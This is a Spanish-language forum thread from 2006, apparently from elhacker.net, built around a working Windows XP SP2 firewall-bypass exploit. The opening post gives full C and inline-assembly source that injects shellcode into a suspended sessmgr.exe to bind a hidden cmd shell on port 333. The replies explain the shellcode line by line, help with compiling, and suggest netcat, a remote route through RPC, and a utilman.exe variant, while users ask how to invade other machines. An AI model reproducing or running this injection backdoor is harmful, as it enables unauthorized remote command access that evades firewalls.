elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 11:26  


Tema destacado: Suscripción al boletín mensual de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Exploit Firewall XP SP2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Exploit Firewall XP SP2  (Leído 6,572 veces)
libertador_23

Desconectado Desconectado

Mensajes: 32


Ver Perfil
Exploit Firewall XP SP2
« en: 16 Febrero 2006, 13:09 »

Hola a todos:
recientemente navegando por securityfocus encontré este exploit, a ver que les parece.No se si funciona tal y como dice el autor porque la verdad no e podido compilarlo bien, creo que mi compilador de C no esta bien...si alguien lo puede compilar bien que me lo diga por favor;-).En teoria este exploit abre el puerto 333 y el firewall ni se entera y permite a programas que por ejemplo escuchen en este puerto(un backdoor seria ideal) se pueden comunicar con el atacante sin problemas.(el autor es americanidiot).Les dejo el link del sercurityfocus: http://www.securityfocus.com/archive/1/378508

Exploit:
#include <windows.h>
#include <winsock.h>
#include <stdlib.h>
#include <stdio.h>
#include <winsock.h>

void setfp(char *buffer,int sz,DWORD from,DWORD fp)
{
int i;
for(i=0;i<sz-5;i++)
if (buffer=='\xb8'&&*(DWORD*)(buffer+i+1)==from)
{*(DWORD*)(buffer+i+1)=fp;break;}
}

int injcode(char *buffer)
{
HMODULE ws2_32;
DWORD _loadlibrarya,_createprocessa,_wsastartup,_wsasocketa,_bind,_listen,_accept,_sleep;
char *code;
int len;
ws2_32=LoadLibrary("ws2_32");
_loadlibrarya=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"LoadLibraryA");
_createprocessa=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"CreateProcessA");
_sleep=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"Sleep");
_wsastartup=(DWORD)GetProcAddress(ws2_32,"WSAStartup");
_wsasocketa=(DWORD)GetProcAddress(ws2_32,"WSASocketA");
_bind=(DWORD)GetProcAddress(ws2_32,"bind");
_listen=(DWORD)GetProcAddress(ws2_32,"listen");
_accept=(DWORD)GetProcAddress(ws2_32,"accept");

__asm
{
call over

push '23'
push '_2sw'
push esp
mov eax,0x11111111
call eax

xor ebx,ebx
push 0x64
pop ecx
wsadata:
push ebx
loop wsadata
push esp
push 0x101
mov eax,0x33333333
call eax

push ebx
push ebx
push ebx
push ebx
push SOCK_STREAM
push AF_INET
mov eax,0x44444444
call eax
mov esi,eax

push ebx
push ebx
push ebx
push 0x4D010002 /*port 333*/
mov eax,esp
push 0x10
push eax
push esi
mov eax,0x55555555
call eax

push SOMAXCONN
push esi
mov eax,0x66666666
call eax

push ebx
push ebx
push esi
mov eax,0x77777777
call eax
mov edi,eax

push ebx
push ebx
push ebx
push ebx
mov eax,esp
push edi
push edi
push edi
push ebx
push SW_HIDE
push STARTF_USESTDHANDLES
push 0xA
pop ecx
startupinfo:
push ebx
loop startupinfo
push 0x44
mov ecx,esp
push 'dmc'
mov edx, esp

push eax
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push edx
push ebx
mov eax,0x22222222
call eax

push INFINITE
mov eax,0x88888888
call eax

over:
pop eax
mov code,eax
}

len=0xA0;
memcpy(buffer,code,len);
setfp(buffer,len,0x11111111,_loadlibrarya);
setfp(buffer,len,0x22222222,_createprocessa);
setfp(buffer,len,0x33333333,_wsastartup);
setfp(buffer,len,0x44444444,_wsasocketa);
setfp(buffer,len,0x55555555,_bind);
setfp(buffer,len,0x66666666,_listen);
setfp(buffer,len,0x77777777,_accept);
setfp(buffer,len,0x88888888,_sleep);

return len;
}

void main(void)
{
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
CONTEXT context;
LDT_ENTRY sel;
DWORD read,tib,peb,exebase,peoffs,ep;
IMAGE_NT_HEADERS pehdr;
int len;
char sessmgr[MAX_PATH+13];
char buffer[2048];

GetSystemDirectory(sessmgr,MAX_PATH);
sessmgr[MAX_PATH]=0;
strcat(sessmgr,"\\sessmgr.exe");
memset(&sinfo,0,sizeof(sinfo));
sinfo.cb=sizeof(sinfo);

if (!CreateProcess(sessmgr,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&sinfo,&pinfo))
printf("createprocess failed"), exit(1);

context.ContextFlags=CONTEXT_FULL;
GetThreadContext(pinfo.hThread,&context);
GetThreadSelectorEntry(pinfo.hThread,context.SegFs,&sel);
tib=sel.BaseLow|(sel.HighWord.Bytes.BaseMid<<16)|(sel.HighWord.Bytes.BaseHi<<24);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(peb+0x08),&exebase,4,&read);

ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+0x3C),&peoffs,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+peoffs),&pehdr,sizeof(pehdr),&read);
ep=exebase+pehdr.OptionalHeader.AddressOfEntryPoint;

len=injcode(buffer);
VirtualProtect((LPVOID)ep,len,PAGE_EXECUTE_READWRITE,&read);
WriteProcessMemory(pinfo.hProcess,(LPVOID)ep,buffer,len,&read);

ResumeThread(pinfo.hThread);
}

Un saludo,espero k sirva!!
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Exploit Firewall XP SP2
« Respuesta #1 en: 16 Febrero 2006, 19:35 »

:o
"Si Funciona y Funciona Muy Bien"
voy a ver si despues me pongo a analizar bien el exploit..
que compilador estas usando?

Saludos!!
En línea

libertador_23

Desconectado Desconectado

Mensajes: 32


Ver Perfil
Re: Exploit Firewall XP SP2
« Respuesta #2 en: 17 Febrero 2006, 13:24 »

Estoy utilizando GCC pero no se si es lo correcto :huh: :-[:
Sirdarckcat :crees que hay alguna forma de ejecutar este exploit en alguna maquina remotamente?es decir utilizar este exploit para invadir una maquina?Bueno un salduo!PD: si puedes compilarlo avisame ok?un saludooo y gracias por confirmarme que funciona:-)
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Exploit Firewall XP SP2
« Respuesta #3 en: 17 Febrero 2006, 16:25 »

ahm no creo que funcione con el GCC.. talvez si agregas este argumento:

masm=intel

pero aun asi creo que asm se declara diferente..
intenta con el visual.. o con:

http://www.google.com/search?q=free+c+compiler
En línea

Isirius
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.492



Ver Perfil
Re: Exploit Firewall XP SP2
« Respuesta #4 en: 18 Febrero 2006, 09:39 »

Pero de alguna manera se puede utilizar remotamente para entrar en la maquina remotamente.¿?
En línea
krispin

Desconectado Desconectado

Mensajes: 90


Ver Perfil WWW
Re: Exploit Firewall XP SP2
« Respuesta #5 en: 18 Febrero 2006, 09:49 »

Pero de alguna manera se puede utilizar remotamente para entrar en la maquina remotamente.¿?
haber....
el exploit que se ha posteado lo que hace es inyectar codigo en el proceso sessmgr.exe, y en este caso el codigo que mete es para bindear una shell en el puerto 333.
Saludox.
En línea
EXOVER26

Desconectado Desconectado

Mensajes: 4



Ver Perfil
Re: Exploit Firewall XP SP2
« Respuesta #6 en: 18 Febrero 2006, 21:29 »

Hola,serias tan amables de colgarlo compilado?

muchisimas gracias.
En línea
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: Exploit Firewall XP SP2
« Respuesta #7 en: 18 Febrero 2006, 22:39 »

Por supuesto , como no, señor!,  es mas le traigo una galletita mientras espera y un cafe?
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Exploit Firewall XP SP2
« Respuesta #8 en: 19 Febrero 2006, 04:44 »

Bueno, empiezo por explicar el shellcode en asm. (injcode())
Código:
__asm{
call over
esto realmente llama a:
Código:
over:
pop eax
mov code,eax
que lo que hace es meter la dirección de la pila en EAX, y despues meterlo en la variable code

Código:
push '23'
push '_2sw'
push esp
metemos en la pila (como es FIFO{First In First Out}, se mete todo al reves), la dirección de el tope de la pila y "ws2_32"

Código:
mov eax,0x11111111
call eax
metemos en eax, la dirección 0x11111111, y despues la llamamos.
NOTA: 0x11111111, despues se convierte en la función: "loadlibrarya", por lo que realemnte estamos haciendo que
se cargue en la memoria la libreria "ws2_32" (winsock2_32bits)

Código:
xor ebx,ebx
push 0x64
pop ecx
hacemos que ebx sea = a 0, al usar la instrucción XOR EBX,EBX.
XOR da 1 cuando los valores son diferentes, como EBX = EBX, regresa 0.
es equivalente a poner MOV EBX,0, pero ocupa menos espacio.
metemos en la pila 0x64 ,y la metemos en ECX

Código:
wsadata:
push ebx
loop wsadata
La función wsdata,
metemos EBX en la pila (la primera vez vale 0, recuerdas?)
y se crea un loop hasta que ECX sea igual a 0.
recuerda que ECX vale 64.
en otras palabras esto mete en la pila 64 veces un 0.

Código:
push esp
push 0x101
mov eax,0x33333333
call eax
esto mete en la pila el valor de ESP, despues mete 101, y llama a 0x33333333 (que es wsastartup)
en otras plabras, llama a la función wsastartup, con 101 en el primer parametro, y la dirección del
principio de la pila en el segundo..
Explico como funciona WSASTARTUP.
Código:
WSAStartup( wVersionRequested, &wsaData );
&wsaData es un puntero a una estructura que recibe el socket.
VersionRequested, Version Requerida.. es 0x101

Código:
push ebx
push ebx
push ebx
push ebx
push SOCK_STREAM
push AF_INET
mov eax,0x44444444
call eax
Aqui metemos 4 veces 0, despues la constante SOCK_STREAM, seguido de AF_INET.
y llamamos a 0x44444444 (wsasocketa) que sirve para crear el socket.
los valores que le envias son constante que especifican el tipo de conexión y a donde va.
puedes encontrar info sobre esto aqui: http://msdn.microsoft.com/library/en-us/winsock/winsock/wsasocket_2.asp
Info de AF_INET: http://www.xav.com/perl/lib/IO/Socket/INET.html

Código:
mov esi,eax
push ebx
push ebx
push ebx
push 0x4D010002 /*port 333*/
mov eax,esp
push 0x10
push eax
push esi
mov eax,0x55555555
call eax
metemos en ESI el valor de EAX, metemos 3 veces 0, y 0x4D010002 (especifica el puerto 333)
metemos en eax el valor de ESP, metemos 0x10, metemos el valor de EAX (=ESP),
despues ESI(=WSASOCKETA)
y llamamos a _BIND (0x5555555),
bind funciona asi:

Código:
push SOMAXCONN
push esi
mov eax,0x66666666
call eax
metemos en la pila la constante SOMAXCONN (SOcket MAX CONNections)
y el valor de ESI(WSASOCKETA)
y llamamos a la funcion en 0x66666666 (listen), que deja a la escucha.

Código:
push ebx
push ebx
push esi
mov eax,0x77777777
call eax
metemos 2 veces 0, el valor de WSASOCKETA y llamamos a accept, para que.. acepte conexiones xD

Ahora un poco mas lento.
Código:
mov edi,eax
push ebx
push ebx
push ebx
push ebx
metemos en EDI el valor de EAX (0x77777777)
metemos 4 veces 0.

Código:
mov eax,esp
push edi
push edi
push edi
push ebx
push SW_HIDE
push STARTF_USESTDHANDLES
push 0xA
pop ecx
metemos en EAX el valor de ESP, y 3 veces 0x77777777, seguido de un 0.
metemos SW_HIDE (constante que especifica el valor de proceso en background)
metemos STARTF_USESTDHANDLES (Iniciamos usando Handles)
metemos 0xA (A = 10), para despues sacarlo en POP ECX, y hacer que ECX valga 10

Código:
startupinfo:
push ebx
loop startupinfo
push 0x44
mov ecx,esp
push 'dmc'
mov edx, esp
metemos 10 veces 0.
metemos 44.
ponemos en ECX el valor de ESP.
metemos "CMD"
y en EDX el valor de la pila.
esto sirve para delimitar donde esta escrito "CMD" empieza en ECX y acaba en EDX (o es alreves?)

Código:
push eax
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push edx
push ebx
metemos en la pila EAX,(=ESP, 2 secciones arriba)
metemos ECX (=ESP, sección anterior)  QUE DELIMITAN
metemos 3*EBX,1,2*EBX,EDX,EBX (=ESP, sección anterior)
donde dice "CMD", (es el programa que se manda ejecutar).

Código:
mov eax,0x22222222
call eax
y llamamos a la funcion 0x22222222 (create process, que recibe todos los parametros.)

Código:
push INFINITE
mov eax,0x88888888
call eax
ah si, y ponemos a dormir a la computadora hasta infinito. xD

Código:
over:
pop eax
mov code,eax
}
La función over, que se usó al principio, alguien sabe porque esta aqui? :o


Bueno, ahora otras secciones del código.
Código:
HMODULE ws2_32;
DWORD _loadlibrarya,_createprocessa,_wsastartup,_wsasocketa,_bind,_listen,_accept,_sleep;
char *code;
int len;
ws2_32=LoadLibrary("ws2_32");
_loadlibrarya=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"LoadLibraryA");
_createprocessa=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"CreateProcessA");
_sleep=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"Sleep");
_wsastartup=(DWORD)GetProcAddress(ws2_32,"WSAStartup");
_wsasocketa=(DWORD)GetProcAddress(ws2_32,"WSASocketA");
_bind=(DWORD)GetProcAddress(ws2_32,"bind");
_listen=(DWORD)GetProcAddress(ws2_32,"listen");
_accept=(DWORD)GetProcAddress(ws2_32,"accept");
metemos ahí, las direcciones de las debidas funciones.

Código:
len=0xA0;
memcpy(buffer,code,len);
setfp(buffer,len,0x11111111,_loadlibrarya);
setfp(buffer,len,0x22222222,_createprocessa);
setfp(buffer,len,0x33333333,_wsastartup);
setfp(buffer,len,0x44444444,_wsasocketa);
setfp(buffer,len,0x55555555,_bind);
setfp(buffer,len,0x66666666,_listen);
setfp(buffer,len,0x77777777,_accept);
setfp(buffer,len,0x88888888,_sleep);
y le damos una ayuda al shellcode, para que identifique donde estan las funciones.
la funcion setfp es esta:
Código:
void setfp(char *buffer,int sz,DWORD from,DWORD fp)
{
int i;
for(i=0;i<sz-5;i++)
if (buffer[i]=='\xb8'&&*(DWORD*)(buffer+i+1)==from)
{*(DWORD*)(buffer+i+1)=fp;break;}
}
buffer es lo que vamos a meter despues..
fp es la dirección real de la funcion, from es la que vamos a asignar, sz es 160 (A0h)





Ahora vamos por main()

Código:
DECLARAMOS VARIABLES, CONSTANTES, ETC..
Código:
GetSystemDirectory(sessmgr,MAX_PATH);
sessmgr[MAX_PATH]=0;
strcat(sessmgr,"\\sessmgr.exe");
memset(&sinfo,0,sizeof(sinfo));
sinfo.cb=sizeof(sinfo);
:P
veamos..
Código:
char sessmgr[MAX_PATH+13];
como vemos, sessmgr vale M_P+13
y aca le asignamos..
Código:
GetSystemDirectory(sessmgr,MAX_PATH);
solo hasta M_P.
Código:
sessmgr[MAX_PATH]=0;
despues metemos un 0 (fin de cadena).
Código:
strcat(sessmgr,"\\sessmgr.exe");
y agregamos \\sessmgr.exe en otras palabras, diremos que se ejecute sinfo, sin hacerlo realmente xD.
Código:
memset(&sinfo,0,sizeof(sinfo));
sinfo.cb=sizeof(sinfo);
Establecemos memoria para sinfo.. que se usa cuando creas el proceso.
Código:
if (!CreateProcess(sessmgr,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&sinfo,&pinfo))
printf("createprocess failed"), exit(1);
Creamos el proceso, si falla, cerramos.
Código:
context.ContextFlags=CONTEXT_FULL;
GetThreadContext(pinfo.hThread,&context);
GetThreadSelectorEntry(pinfo.hThread,context.SegFs,&sel);
tib=sel.BaseLow|(sel.HighWord.Bytes.BaseMid<<16)|(sel.HighWord.Bytes.BaseHi<<24);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(peb+0x08),&exebase,4,&read);
Establecemos control sobre todo el contexto.
Obtenemos el de el proceso que inicializamos con sessmgr
Buscamos el inicio de la tarea del proceso
tib sera true si:
existe sel.BaseLow y es diferente a 0
o si..
sel.HighWord.Bytes.BaseMid es menor que 16
o si..
sel.HighWord.Bytes.BaseHi es menor que 24

Despues leemos la memoria del proceso, que recien inicializamos.. asi
Código:
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read);
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+peoffs),&pehdr,sizeof(pehdr),&read);
y despues lo mismo, pero con los valores que habiamos recibido anteriormente.

ReadProcessMemory funciona asi:
Citar
BOOL ReadProcessMemory(
  HANDLE hProcess,
  LPCVOID lpBaseAddress,
  LPVOID lpBuffer,
  SIZE_T nSize,
  SIZE_T* lpNumberOfBytesRead
);
  • Recibe un Handle con la propiedad hProcess de el Processinfo
  • Recibe un puntero a la dirección de la base de el Proceso.
  • Recibe un puntero donde escribir el contenido de la direccion especificada
  • Recibe la cantidad de bytes a leer
  • Y un puntero a una varable donde se escriben la cantidad de bytes leidos (opcional)

Código:
len=injcode(buffer);
VirtualProtect((LPVOID)ep,len,PAGE_EXECUTE_READWRITE,&read);
WriteProcessMemory(pinfo.hProcess,(LPVOID)ep,buffer,len,&read);

ResumeThread(pinfo.hThread);
}
Metemos en len la longitud, y en buffer el codigo a injectar.
Permitimos escribir en la memoria del proceso..
Y escribimos en la memoria del proceso nuestro código.

para acabar, Iniciamos el proceso (recuerda que lo iniciamos suspendido)

y tenemos nuestra shellcode :)

ah que interesante exploit :P, enserio que el que descubrio esto es el mejor  ::)

Saludos!!
En línea

ANELKAOS
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.049


#include<nda.h>


Ver Perfil WWW
Re: Exploit Firewall XP SP2
« Respuesta #9 en: 19 Febrero 2006, 04:49 »

PLAS PLAS PLAS Sirdarckcat  :)
En línea

Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: Exploit Firewall XP SP2
« Respuesta #10 en: 19 Febrero 2006, 04:56 »

Eres un dios Sirdarck  ;)
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
NostraTerranius

Desconectado Desconectado

Mensajes: 48


Ver Perfil
Re: Exploit Firewall XP SP2
« Respuesta #11 en: 7 Marzo 2006, 21:46 »

Magnifico Sirdarckat
En línea
JuszR


Desconectado Desconectado

Mensajes: 2.844


Programming, GNU/Linux & RI


Ver Perfil
Re: Exploit Firewall XP SP2
« Respuesta #12 en: 7 Marzo 2006, 21:56 »

Voy a probarlo... ::)

Hola,serias tan amables de colgarlo compilado?

muchisimas gracias.
Bájate cualquier compilador y listo. :P

¿Cuál assembler es el de allí? :huh:

**editado por sirdarckcat**

es intel

Ok ok. Muchas gracias por la super-explicación! ;)
« Última modificación: 10 Marzo 2006, 22:43 por X.Cyclop » En línea

- No programming language is perfect. There is not even a single best language; there are only languages well suited or perhaps poorly suited for particular purposes. [Herbert Mayer]
- GNU/Linux is an alternative, not a replacement. Want a Windows replacement? Buy Mashitosh.
NaQUaDa

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Exploit Firewall XP SP2
« Respuesta #13 en: 9 Marzo 2006, 21:48 »

Aver, será que soy un poco novatillo, de hecho me dedico mas a leer que a escribir, este es mi 1º post, weno a lo que voy. Entiendo lo que dices sidarckcat y por que lo hacen así, pero mis conocimientos de C no llegan mas alla, no tiene entrada por comando ni demás, como hago para decirle al programa donde quiero que actue? o se supone que actua de forma local, es decir, ejecuntadolo en la propia maquina donde se quiere obtener la shell, si es así, ya si k estoy perdido, pues intente ejecutarlo y use netstat para ver los puertos que tenia a la escucha y no salio el 333, además probé a hacerme telnet 127.0.0.1:333 y nada. Alquien me podria explicar un poco más...

Siento las molestias

/*Editado Sirdarckcat:*/
usa netcat para conectarte, pero aun asi telnet deberia funcionar.
el exploit es local, pero se puede hacer remoto con RPC (busk info en google)
estas seguro que lo estas ejecutado en windows XP? si no, cambia sessmgr.exe por utilman.exe

Saludos!!
« Última modificación: 9 Marzo 2006, 23:54 por SirDarckCat » En línea
NaQUaDa

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Exploit Firewall XP SP2
« Respuesta #14 en: 10 Marzo 2006, 22:54 »

epe, yo tb probe a compilarlo con cygwin, pero alli no va, debe de ser cosa del ensamblador, yo usé el Microsoft Visual C++ y lo compilo a la perfeccion  ;D

Sirdarckcat, gracias de antemano por el interes que pones en ayudar a gente que no tiene tu gran nivel. Respecto a lo que me dijistes busqué en google sobre RPC, encontre que era (o es) un bug del Xp (Sp0 o Sp1) que usaba por ejemplo el blaster y que permitia ejecutar código de forma remota en un pc, tb leí que usaba algo como el DCOM, que no entendí muy bien de que iba  :P;
Pero bueno al caso, busqué un codigo que explicará como crear y utiizar dicho exploit, a lo que posteriormente tras no tener mucho resultado me metí en la pagina de elhacker y compile todo los exploit que allí venian y nada ninguno funciona, jajaja, la semana que viene tengo un tema en la uni hablando sobre el RPC, pero dudo que indiquen como explotarlo.

Gracias por la ayuda, soys los mejores ;)
En línea
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines